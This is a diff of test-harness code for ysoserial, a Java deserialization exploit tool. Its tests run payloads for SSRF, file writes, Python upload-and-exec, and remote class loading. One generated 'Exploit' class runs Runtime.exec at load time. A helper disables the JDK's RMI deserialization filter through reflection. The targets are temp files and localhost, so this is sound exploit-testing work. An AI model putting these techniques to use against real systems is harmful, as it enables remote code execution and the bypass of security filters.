+        URL[] urls = getDependencyUrls(dependencies);
+
+        Map<String, byte[]> addlClasses = new HashMap<String, byte[]>();
+
+        for ( Class<?> clazz : classDependencies ) {
+            byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
+            addlClasses.put(clazz.getName(), classAsBytes);
+        }
+        addlClasses.put(Deserializer.class.getName(), ClassFiles.classAsBytes(Deserializer.class));
+
+        if (customDeserializer != null) {
+            try {
+                Method method = customDeserializer.getMethod("getExtraDependencies");
+                for (Class extra : (Class[]) method.invoke(null)) {
+                    addlClasses.put(extra.getName(), ClassFiles.classAsBytes(extra));
+                }
+            } catch (NoSuchMethodException e) {}
+
+            addlClasses.put(customDeserializer.getName(), ClassFiles.classAsBytes(customDeserializer));
+        }
+
+        OpenURLClassLoader isolatedClassLoader = new OpenURLClassLoader(urls, null);
+        for (Map.Entry<String, byte[]> e : addlClasses.entrySet()) {
+            isolatedClassLoader.defineNewClass(e.getKey(), e.getValue());
+        }
+
+        Class<?> deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName());
+        Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[0].newInstance(serialized);
+
+        // set CCL for Clojure https://groups.google.com/forum/#!topic/clojure/F3ERon6Fye0
+        return callWithContextClassLoader(isolatedClassLoader, deserializer);
+    }
+
+    private static Object callWithContextClassLoader(ClassLoader classLoader, Callable<Object> callable) throws Exception {
+        ClassLoader ccl = Thread.currentThread().getContextClassLoader();
+        Thread.currentThread().setContextClassLoader(classLoader);
+        try {
+            return callable.call();
+        } finally {
+            Thread.currentThread().setContextClassLoader(ccl);
+        }
+    }
+
+    private static URL[] getDependencyUrls(String[] dependencies) throws MalformedURLException {
         File[] jars = dependencies.length > 0
             ? Maven.configureResolver()
-                .withMavenCentralRepo(true)
-                .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
+//                .workOffline(JavaVersion.getLocalVersion().major == 6) //  use cached deps for java 1.6
+                .withRemoteRepo("central", "https://repo1.maven.org/maven2/", "default")
+                .withMavenCentralRepo(false)
+                .useLegacyLocalRepo(true)
+//                .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
                 .resolve(dependencies).withoutTransitivity().asFile()
             : new File[0];
         URL[] urls = new URL[jars.length];
         for ( int i = 0; i < jars.length; i++ ) {
             urls[ i ] = jars[ i ].toURI().toURL();
         }
-
-        URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {
-
-            {
-                for ( Class<?> clazz : classDependencies ) {
-                    byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
-                    defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);
-                }
-                byte[] deserializerClassBytes = ClassFiles.classAsBytes(Deserializer.class);
-                defineClass(Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
-
-                if ( customDeserializer != null ) {
-
-                    try {
-                        Method method = customDeserializer.getMethod("getExtraDependencies");
-                        for ( Class extra : (Class[])method.invoke(null)) {
-                            deserializerClassBytes = ClassFiles.classAsBytes(extra);
-                            defineClass(extra.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
-                        }
-                    } catch ( NoSuchMethodException e ) { }
-
-                    deserializerClassBytes = ClassFiles.classAsBytes(customDeserializer);
-                    defineClass(customDeserializer.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
-                }
-
-            }
-        };
-
-        Class<?> deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName());
-        Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[ 0 ].newInstance(serialized);
-
-        ClassLoader ccl = Thread.currentThread().getContextClassLoader();
-        try {
-            // set CCL for Clojure https://groups.google.com/forum/#!topic/clojure/F3ERon6Fye0
-            Thread.currentThread().setContextClassLoader(isolatedClassLoader);
-            final Object obj = deserializer.call();
-            return obj;
-        } finally {
-            Thread.currentThread().setContextClassLoader(ccl);
-        }
+        return urls;
     }
 
-    public static void main(String[] args) {
+    public static void main(String[] args) throws IOException {
+        System.setProperty("https.protocols", "TLSv1,TLSv1.1,TLSv1.2");
+        StdIoRedirection.init();
+        Logging.init();
 
         JUnitCore junit = new JUnitCore();
         PayloadListener listener = new PayloadListener();
         junit.addListener(listener);
         Result result = junit.run(PayloadsTest.class);
-        System.exit(result.wasSuccessful() ? 0 : 1);
-    }
-
-    public static class StdIo {
-
-        private static final PrintStream realOut = System.out;
-        private static final PrintStream realErr = System.err;
-
-        public static void restoreStreams() {
-            setStreams(realOut, realErr);
-        }
-
-        public static void setStreams(PrintStream out, PrintStream err) {
-            System.setOut(out);
-            System.setErr(err);
-        }
-
-        public static void setStreams(OutputStream out, OutputStream err) {
-            setStreams(new PrintStream(out), new PrintStream(err));
-        }
-    }
-
-    public static class PayloadListener extends RunListener {
-        public enum Status {
-            SUCCESS,
-            FAILURE,
-            IGNORE,
-            ASSUMPTION_FAILURE
-        }
-
-        private Map<Description, ByteArrayOutputStream> outs = new HashMap<Description, ByteArrayOutputStream>();
-        private Map<Description, ByteArrayOutputStream> errs = new HashMap<Description, ByteArrayOutputStream>();
-
-        private Map<Description, Status> statuses = new HashMap<Description, Status>();
-
-        private Map<Description, Failure> failures = new HashMap<Description, Failure>();
-
-        @Override
-        public void testStarted(Description description) throws Exception {
-            System.out.println(getPayload(description.getDisplayName()) + ": STARTED");
-
-            statuses.put(description, Status.SUCCESS);
-
-            ByteArrayOutputStream out = new ByteArrayOutputStream();
-//            ByteArrayOutputStream err = new ByteArrayOutputStream();
-
-            outs.put(description, out);
-//            errs.put(description, err);
-
-            StdIo.setStreams(out, out);
-        }
-
-        @Override
-        public void testFinished(Description description) throws Exception {
-            outs.get(description).close();
-            //errs.get(description).close();
-
-            StdIo.restoreStreams();
-
-            Status status = statuses.get(description);
-            System.out.println(getPayload(description.getDisplayName()) + ": " + status);
-            if (status == Status.FAILURE) System.err.println(outs.get(description).toString());
-        }
-
-        @Override
-        public void testFailure(Failure failure) throws Exception {
-            statuses.put(failure.getDescription(), Status.FAILURE);
-            failures.put(failure.getDescription(), failure);
-        }
-
-        @Override
-        public void testAssumptionFailure(Failure failure) {
-            statuses.put(failure.getDescription(), Status.ASSUMPTION_FAILURE);
-            failures.put(failure.getDescription(), failure);
-        }
-
-        // testPayload[payloadClass: class ysoserial.payloads.JavassistWeld1](ysoserial.test.payloads.PayloadsTest)
-        public static String getPayload(String displayName) {
-            return displayName.replaceAll(".*\\[\\S+: class (\\w+\\.)+(\\w+)\\].*", "$2");
-        }
+        System.exit(isForceTests() ? 0 : (result.wasSuccessful() ? 0 : 1));
     }
 }

src/test/java/ysoserial/test/payloads/PythonUploadExecTest.java

@@ -0,0 +1,45 @@
+package ysoserial.test.payloads;
+
+import org.junit.Assert;
+import ysoserial.test.CustomTest;
+import ysoserial.test.util.Files;
+import ysoserial.test.util.OS;
+import ysoserial.test.util.Randomized;
+
+import java.io.File;
+import java.util.concurrent.Callable;
+
+public class PythonUploadExecTest implements CustomTest {
+    private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Randomized.randUUID());
+    private final File srcPyFile = new File(OS.getTmpDir(), "ysoserial-test-src-" + Randomized.randUUID() + ".py");
+    private final File dstPyFile = new File(OS.getTmpDir(), "ysoserial-test-dst-" + Randomized.randUUID() + ".py");
+    private final String testCode = "open('" + testFile + "','w').close()";
+
+    {
+        Files.writeFile(srcPyFile, testCode);
+    }
+
+    @Override
+    public void run(Callable<Object> payload) throws Exception {
+        Assert.assertTrue("test src file should exist", srcPyFile.exists());
+
+        Assert.assertFalse("test file should not exist", testFile.exists());
+        try {
+            payload.call();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        Files.waitForFile(testFile, 5000);
+        Assert.assertTrue("test dst file should exist", dstPyFile.exists());
+        Assert.assertTrue("test file should exist", testFile.exists());
+        testFile.deleteOnExit();
+        srcPyFile.deleteOnExit();
+        dstPyFile.deleteOnExit();
+    }
+
+    @Override
+    public String getPayloadArgs() {
+        return srcPyFile + ";" + dstPyFile;
+    }
+
+}

src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java

@@ -4,7 +4,6 @@ package ysoserial.test.payloads;
 import java.io.ByteArrayInputStream;
 import java.io.IOException;
 import java.io.Serializable;
-import java.util.Random;
 import java.util.concurrent.Callable;
 
 import fi.iki.elonen.NanoHTTPD;
@@ -12,24 +11,21 @@ import fi.iki.elonen.NanoHTTPD.Response.Status;
 import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
+import ysoserial.payloads.C3P0;
+import ysoserial.test.CustomTest;
 import ysoserial.test.WrappedTest;
+import ysoserial.test.util.Randomized;
 
 
 /**
  * @author mbechler
  *
  */
-public class RemoteClassLoadingTest implements WrappedTest {
+public class RemoteClassLoadingTest extends CommandExecTest implements WrappedTest, CustomTest {
 
-    int port;
-    private String command;
-    private String className;
+    private int port = Randomized.randPort();
 
-    public RemoteClassLoadingTest ( String command ) {
-        this.command = command;
-        this.port = new Random().nextInt(65535-1024)+1024;
-        this.className = "Exploit-" + System.currentTimeMillis();
-    }
+    private String className = "Exploit-" + System.currentTimeMillis();
 
 
     public String getPayloadArgs () {
@@ -54,7 +50,12 @@ public class RemoteClassLoadingTest implements WrappedTest {
             pool.insertClassPath(new ClassClassPath(Exploit.class));
             final CtClass clazz = pool.get(Exploit.class.getName());
             clazz.setName(this.className);
-            clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");");
+            clazz.makeClassInitializer().insertAfter(
+                "java.lang.Runtime.getRuntime().exec(\""
+                    + getTouchCmd(testFile.toString())
+                        .replace("\\", "\\\\")
+                        .replace("\"", "\\\"")
+                    + "\");");
             return clazz.toBytecode();
         }
         catch ( Exception e ) {
@@ -122,6 +123,10 @@ public class RemoteClassLoadingTest implements WrappedTest {
     }
 
 
+    public static void main(String[] args) throws Exception {
+        PayloadsTest.testPayload(C3P0.class);
+    }
+
 
     public static class Exploit implements Serializable {
 

src/test/java/ysoserial/test/payloads/SimpleFileWriteTest.java

@@ -0,0 +1,39 @@
+package ysoserial.test.payloads;
+
+import org.apache.commons.codec.binary.Base64;
+import org.junit.Assert;
+import ysoserial.test.CustomTest;
+import ysoserial.test.util.Files;
+import ysoserial.test.util.OS;
+import ysoserial.test.util.Randomized;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileReader;
+import java.util.concurrent.Callable;
+
+public class SimpleFileWriteTest implements CustomTest {
+    private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Randomized.randUUID());
+    private final String testContent = Randomized.randUUID();
+
+    @Override
+    public void run(Callable<Object> payload) throws Exception {
+        Assert.assertFalse("test file should not exist", testFile.exists());
+        try {
+            payload.call();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        Files.waitForFile(testFile, 5000);
+        Assert.assertTrue("test file should exist", testFile.exists());
+        String testFileContent = new BufferedReader(new FileReader(testFile)).readLine();
+        Assert.assertEquals(testContent.trim(), testFileContent.trim());
+        testFile.deleteOnExit();
+    }
+
+    @Override
+    public String getPayloadArgs() {
+        return testFile.toString() + ";" + Base64.encodeBase64String(testContent.getBytes());
+    }
+
+}

src/test/java/ysoserial/test/payloads/SsrfTest.java

@@ -0,0 +1,57 @@
+package ysoserial.test.payloads;
+
+import com.sun.net.httpserver.HttpExchange;
+import com.sun.net.httpserver.HttpHandler;
+import com.sun.net.httpserver.HttpServer;
+import org.junit.Assert;
+import ysoserial.payloads.Scala;
+import ysoserial.test.CustomTest;
+import ysoserial.test.util.Randomized;
+
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Random;
+import java.util.concurrent.Callable;
+
+public class SsrfTest implements CustomTest {
+    int port = Randomized.randPort();
+    String authority = "http://localhost:" + port;
+    String uri = "/?" + Randomized.randUUID();
+
+    @Override
+    public String getPayloadArgs() {
+        return authority + uri;
+    }
+
+    @Override
+    public void run(Callable<Object> payload) throws Exception {
+        final List<String> uris = new LinkedList<String>();
+        HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", port), 0);
+        server.createContext("/", new HttpHandler() {
+            @Override
+            public void handle(HttpExchange exchange) throws IOException {
+                System.out.println(exchange.getRequestURI());
+                uris.add(exchange.getRequestURI().toString());
+                exchange.sendResponseHeaders(200, 0);
+                exchange.close();
+            }
+        });
+        server.start();
+        try {
+            try {
+                payload.call();
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+            Assert.assertTrue(uris.contains(uri));
+        } finally {
+            server.stop(0);
+        }
+    }
+
+    public static void main(String[] args) throws Exception {
+        PayloadsTest.testPayload(Scala.ScalaSsrf.class, new Class[0]);
+    }
+}

src/test/java/ysoserial/test/payloads/Struts2JasperReportsTest.java

@@ -9,6 +9,7 @@ import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider;
 import com.opensymphony.xwork2.inject.Container;
 
 import ysoserial.Deserializer;
+import ysoserial.payloads.Struts2JasperReports;
 import ysoserial.test.CustomDeserializer;
 
 public class Struts2JasperReportsTest extends CommandExecTest implements CustomDeserializer {
@@ -44,4 +45,8 @@ public class Struts2JasperReportsTest extends CommandExecTest implements CustomD
         }
     }
 
+    public static void main(String[] args) throws Exception {
+        PayloadsTest.testPayload(Struts2JasperReports.class);
+    }
+
 }

src/test/java/ysoserial/test/payloads/TestHarnessTest.java

@@ -1,12 +1,12 @@
 package ysoserial.test.payloads;
 
-import java.io.IOException;
-import java.io.ObjectInputStream;
-import java.io.Serializable;
+import java.io.*;
+import java.util.Arrays;
 
 import org.hamcrest.CoreMatchers;
 import org.junit.Assert;
 import org.junit.Test;
+import ysoserial.Strings;
 import ysoserial.payloads.ObjectPayload;
 
 public class TestHarnessTest {
@@ -53,10 +53,20 @@ public class TestHarnessTest {
 
 	@SuppressWarnings("serial")
 	public static class ExecMockSerializable implements Serializable {
+//        static {
+//            try {
+//                printLoad(ExecMockSerializable.class);
+//                printStackTrace();
+//            } catch (Throwable e) {
+//                e.printStackTrace();
+//            }
+//        }
 		private final String cmd;
 		public ExecMockSerializable(String cmd) { this.cmd = cmd; }
 
 		private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException {
+//            printStackTrace();
+//            printLoad(ExecMockSerializable.class);
 		    ois.defaultReadObject();
 			try {
 				Runtime.getRuntime().exec(cmd);
@@ -65,4 +75,20 @@ public class TestHarnessTest {
 			}
 		}
 	}
+
+    public static void printStackTrace() {
+        StringWriter sw = new StringWriter();
+        new Throwable().printStackTrace(new PrintWriter(sw));
+        String st = sw.toString();
+        String[] lines = st.split("\n");
+        lines[0] = "Stack Trace:";
+        for (int i = 0; i < lines.length; i++) {
+            lines[i] = "[" + Thread.currentThread().getName() + "] " + lines[i];
+        }
+        System.out.println(Strings.join(Arrays.asList(lines), "\n", null, null));
+    }
+
+    public static void printLoad(Class<?> clazz) {
+        System.out.println("[" + Thread.currentThread().getName() + "] " + "Loaded " + clazz + "@" + System.identityHashCode(clazz) + " from " + clazz.getClassLoader() + " with parent " + clazz.getClassLoader().getParent());
+    }
 }

src/test/java/ysoserial/test/util/Callables.java

@@ -1,34 +0,0 @@
-package ysoserial.test.util;
-
-import java.util.concurrent.Callable;
-
-public class Callables {
-    public static interface BeforeAfterCallback {
-        public void before();
-        public void after();
-    }
-
-    public static class Wrapper<T> implements Callable<T> {
-        private final Callable<T> callable;
-        private final BeforeAfterCallback callback;
-
-        public Wrapper(Callable<T> callable, BeforeAfterCallback callback) {
-            this.callable = callable;
-            this.callback = callback;
-        }
-
-        @Override
-        public T call() throws Exception {
-            try {
-                callback.before();
-                return callable.call();
-            } finally {
-                callback.after();
-            }
-        }
-    }
-
-    public static <T> Callable<T> wrap(Callable<T> callable, BeforeAfterCallback callback) {
-        return new Wrapper<T>(callable, callback);
-    }
-}

src/test/java/ysoserial/test/util/Files.java

@@ -1,6 +1,7 @@
 package ysoserial.test.util;
 
 import java.io.File;
+import java.io.PrintWriter;
 
 public class Files {
     public static void waitForFile(File file, int timeoutMs) throws InterruptedException {
@@ -9,4 +10,18 @@ public class Files {
             Thread.sleep(10);
         }
     }
+
+    public static void writeFile(File file, String content) {
+        try {
+            PrintWriter writer = new PrintWriter(file, "UTF-8");
+            writer.println(content);
+            writer.close();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public static File getTestFile() {
+        return new File(OS.getTmpDir(), "ysoserial-test-" + Randomized.randUUID());
+    }
 }

src/test/java/ysoserial/test/util/Logging.java

@@ -0,0 +1,12 @@
+package ysoserial.test.util;
+
+import ysoserial.test.payloads.PayloadsTest;
+
+import java.io.IOException;
+import java.util.logging.LogManager;
+
+public class Logging {
+    public static void init() throws IOException {
+        LogManager.getLogManager().readConfiguration(PayloadsTest.class.getResourceAsStream("/logging.properties"));
+    }
+}

src/test/java/ysoserial/test/util/ObjectInputFilters.java

@@ -0,0 +1,56 @@
+package ysoserial.test.util;
+
+import ysoserial.payloads.JRMPListener;
+import ysoserial.payloads.util.Reflections;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Method;
+import java.lang.reflect.Proxy;
+
+public class ObjectInputFilters {
+    public static Object getAllowFilter() throws Exception {
+        final Class<?> filterClass = loadFirstClass(
+            "java.io.ObjectInputFilter", "sun.misc.ObjectInputFilter");
+        if (filterClass == null) {
+            return null;
+        }
+        final Class<?> statusClass = Class.forName(filterClass.getName() + "$Status");
+        return filterClass != null ? Proxy.newProxyInstance(
+            JRMPListener.class.getClass().getClassLoader(),
+            new Class[]{ filterClass },
+            new InvocationHandler() {
+                @Override
+                public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
+                    for (Enum<?> e : (Enum<?>[]) statusClass.getEnumConstants()) {
+                        if (e.name() == "ALLOWED") {
+                            return e;
+                        }
+                    }
+                    throw new RuntimeException("no matching enum");
+                }
+            }
+        ) : null;
+    }
+
+    public static void disableDcgFilter() throws Exception {
+        // disable ObjectInputFilter if defined
+        Object filter = getAllowFilter();
+        if (filter != null) {
+            Field f = Reflections.getField(Class.forName("sun.rmi.transport.DGCImpl"), "dgcFilter");
+            if (f != null) {
+                f.set(null, filter);
+            }
+        }
+    }
+
+    public static Class<?> loadFirstClass(String ... classNames) {
+        for (String className : classNames) {
+            try {
+                Class<?> clazz = Class.forName(className);
+                return clazz;
+            } catch (Exception e) {}
+        }
+        return null;
+    }
+}

src/test/java/ysoserial/test/util/OpenURLClassLoader.java

@@ -0,0 +1,14 @@
+package ysoserial.test.util;
+
+import java.net.URL;
+import java.net.URLClassLoader;
+
+public class OpenURLClassLoader extends URLClassLoader {
+    public OpenURLClassLoader(URL[] urls, ClassLoader parent) {
+        super(urls, parent);
+    }
+
+    public Class<?> defineNewClass(String name, byte[] b) {
+        return defineClass(name, b, 0, b.length);
+    }
+}

src/test/java/ysoserial/test/util/PayloadListener.java

@@ -0,0 +1,95 @@
+package ysoserial.test.util;
+
+import org.junit.runner.Description;
+import org.junit.runner.notification.Failure;
+import org.junit.runner.notification.RunListener;
+import ysoserial.Strings;
+
+import java.io.ByteArrayOutputStream;
+import java.util.*;
+
+public class PayloadListener extends RunListener {
+    public enum Status {
+        SUCCESS,
+        FAILURE,
+        IGNORE,
+        ASSUMPTION_FAILURE
+    }
+
+    private Map<Description, ByteArrayOutputStream> outs = new HashMap<Description, ByteArrayOutputStream>();
+    private Map<Description, ByteArrayOutputStream> errs = new HashMap<Description, ByteArrayOutputStream>();
+
+    private Map<Description, Status> statuses = new HashMap<Description, Status>();
+
+    private Map<Description, Failure> failures = new HashMap<Description, Failure>();
+
+    @Override
+    public void testStarted(Description description) throws Exception {
+//        System.out.println(getPayload(description.getDisplayName()) + ": STARTED");
+
+        statuses.put(description, Status.SUCCESS);
+
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+//            ByteArrayOutputStream err = new ByteArrayOutputStream();
+
+        outs.put(description, out);
+//            errs.put(description, err);
+
+        StdIoRedirection.setStreams(out, out);
+    }
+
+    @Override
+    public void testFinished(Description description) throws Exception {
+        outs.get(description).close();
+        //errs.get(description).close();
+
+        StdIoRedirection.restoreStreams();
+
+        Status status = statuses.get(description);
+        String payload = getPayload(description.getDisplayName());
+        String out = outs.get(description).toString().trim();
+
+        Map<String,String> props = new HashMap<String, String>();
+        props.put("payload", payload);
+        props.put("status", status.toString());
+        props.put("out", out);
+        for (String k : Arrays.asList("java.version", "java.vendor", "java.vm.version", "java.runtime.version", "os.arch", "os.name", "os.version")) {
+            props.put(k, System.getProperty(k));
+        }
+
+        List<String> pairs = new ArrayList<String>();
+        for (Map.Entry<String, String> e : props.entrySet()) {
+            StringBuilder sb = new StringBuilder();
+            sb.append("\"")
+                .append(e.getKey().replace("\\", "\\\\").replace("\"", "\\\""))
+                .append("\"")
+                .append(": ")
+                .append("\"")
+                .append(e.getValue().replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n").replace("\r", "\\r").replace("\t", "\\t").replace("\b", "\\b"))
+                .append("\"");
+            pairs.add(sb.toString());
+        }
+
+        String obj = "{" + Strings.join(pairs, ", ", "", "") + "}";
+
+        System.out.println(obj);
+//        System.out.println(payload + ": " + status);
+    }
+
+    @Override
+    public void testFailure(Failure failure) throws Exception {
+        statuses.put(failure.getDescription(), Status.FAILURE);
+        failures.put(failure.getDescription(), failure);
+    }
+
+    @Override
+    public void testAssumptionFailure(Failure failure) {
+        statuses.put(failure.getDescription(), Status.ASSUMPTION_FAILURE);
+        failures.put(failure.getDescription(), failure);
+    }
+
+    // testPayload[payloadClass: class ysoserial.payloads.JavassistWeld1](ysoserial.test.payloads.PayloadsTest)
+    public static String getPayload(String displayName) {
+        return displayName.replaceAll(".*\\[\\S+: class (\\w+[.$])*(\\w+)\\].*", "$2");
+    }
+}

src/test/java/ysoserial/test/util/Randomized.java

@@ -0,0 +1,24 @@
+package ysoserial.test.util;
+
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.util.Random;
+import java.util.UUID;
+
+public class Randomized {
+    public static int randPort() {
+        while (true) {
+            int port = new Random().nextInt(65535 - 16384) + 16384;
+            try {
+                ServerSocket s = new ServerSocket(port);
+                s.setReuseAddress(true);
+                s.close();
+                return port;
+            } catch (IOException e) {}
+        }
+    }
+
+    public static String randUUID() {
+        return UUID.randomUUID().toString().replaceAll("-", "");
+    }
+}

src/test/java/ysoserial/test/util/RecordingNameService.java

@@ -0,0 +1,42 @@
+package ysoserial.test.util;
+
+import sun.net.spi.nameservice.NameService;
+import ysoserial.payloads.util.Reflections;
+
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
+
+public class RecordingNameService implements NameService {
+
+    private final List<String> lookups = new LinkedList<String>();
+
+    public List<String> getLookups() {
+        return Collections.unmodifiableList(lookups);
+    }
+
+    @Override
+    public InetAddress[] lookupAllHostAddr(String host) throws UnknownHostException {
+        lookups.add(host);
+        throw new UnknownHostException();
+    }
+
+    @Override
+    public String getHostByAddr(byte[] addr) throws UnknownHostException {
+        throw new UnknownHostException();
+    }
+
+    public void install() throws Exception {
+        getNameServices().add(this);
+    }
+
+    public void uninstall() throws Exception {
+        getNameServices().remove(this);
+    }
+
+    private static List<NameService> getNameServices() throws Exception {
+        return (List<NameService>) Reflections.getFieldValue(InetAddress.class, "nameServices");
+    }
+}

src/test/java/ysoserial/test/util/RecordingSecurityManager.java

@@ -0,0 +1,25 @@
+package ysoserial.test.util;
+
+import java.security.Permission;
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
+
+public class RecordingSecurityManager extends SecurityManager {
+    private final List<Permission> checks = new LinkedList<Permission>();
+
+    public List<Permission> getChecks() {
+        return Collections.unmodifiableList(checks);
+    }
+
+    @Override
+    public void checkPermission(Permission perm) {
+//        System.err.println("check " + perm);
+        checks.add(perm);
+    }
+
+    @Override
+    public void checkPermission(Permission perm, Object context) {
+        checkPermission(perm);
+    }
+}

src/test/java/ysoserial/test/util/StdIoRedirection.java

@@ -0,0 +1,67 @@
+package ysoserial.test.util;
+
+import javassist.util.proxy.MethodHandler;
+import javassist.util.proxy.ProxyFactory;
+
+import java.io.OutputStream;
+import java.io.PrintStream;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+
+/*
+  Replace System.out/err early-on with proxies that delegate to streams controlled here to ensure changes reflected
+  even when references are saved by various writing/logging classes
+ */
+public class StdIoRedirection {
+
+    private static final PrintStream realOut = System.out;
+    private static final PrintStream realErr = System.err;
+
+    private static PrintStream delegateOut = System.out;
+    private static PrintStream delegateErr = System.err;
+
+    private static PrintStream proxyOut;
+    private static PrintStream proxyErr;
+
+    static {
+        try {
+            proxyOut = (PrintStream) new ProxyFactory() {{
+                this.setSuperclass(PrintStream.class);
+            }}.create(new Class[]{OutputStream.class}, new Object[]{delegateOut}, new MethodHandler() {
+                @Override
+                public Object invoke(Object self, Method thisMethod, Method proceed, Object[] args) throws Throwable {
+                    return thisMethod.invoke(delegateOut, args);
+                }
+            });
+
+            proxyErr = (PrintStream) new ProxyFactory() {{
+                this.setSuperclass(PrintStream.class);
+            }}.create(new Class[]{OutputStream.class}, new Object[]{delegateErr}, new MethodHandler() {
+                @Override
+                public Object invoke(Object self, Method thisMethod, Method proceed, Object[] args) throws Throwable {
+                    return thisMethod.invoke(delegateErr, args);
+                }
+            });
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public static void init() {
+        System.setOut(proxyOut);
+        System.setErr(proxyErr);
+    }
+
+    public static void restoreStreams() {
+        setStreams(realOut, realErr);
+    }
+
+    public static void setStreams(PrintStream out, PrintStream err) {
+        delegateOut = out;
+        delegateErr = err;
+    }
+
+    public static void setStreams(OutputStream out, OutputStream err) {
+        setStreams(new PrintStream(out), new PrintStream(err));
+    }
+}